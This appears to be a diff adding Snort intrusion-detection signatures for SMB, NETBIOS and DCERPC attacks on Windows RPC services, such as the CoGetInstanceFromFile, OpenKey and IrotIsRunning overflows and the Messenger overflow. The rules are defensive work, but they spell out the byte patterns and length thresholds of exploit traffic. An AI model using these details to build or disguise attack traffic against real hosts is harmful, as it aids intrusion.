+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3385; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3380; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3184; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3440; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile little endian attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3426; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS Messenger message overflow attempt"; content:"|04 00|"; depth:2; byte_test:1,!&,16,2,relative; content:"|F8 91|{Z|00 FF D0 11 A9 B2 00 C0|O|B6 E6 FC|"; within:16; distance:22; content:"|00 00|"; within:2; distance:28; byte_jump:4,18,align,relative; byte_jump:4,8,align,relative; byte_test:4,>,1024,8,relative; reference:bugtraq,8826; reference:cve,2003-0717; classtype:attempted-admin; sid:3235; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3189; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3179; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3254; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 137 (msg:"NETBIOS name query overflow attempt TCP"; flow:to_server,established; byte_test:1,&,64,2; content:" "; offset:12; isdataat:56,relative; reference:bugtraq,9624; reference:cve,2003-0825; classtype:attempted-admin; sid:3195; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3175; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3167; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3432; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,2048,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3228; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3202; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation unicode little endian attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3420; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3269; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3401; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3390; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3172; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3207; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3391; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,2048,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3232; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC CoGetInstanceFromFile little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,128,20,relative,little; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3158; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,2048,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3224; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning unicode attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3258; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3176; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3379; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3213; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3422; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning unicode andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3262; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3436; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3190; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3165; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3243; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3425; rev:2;)
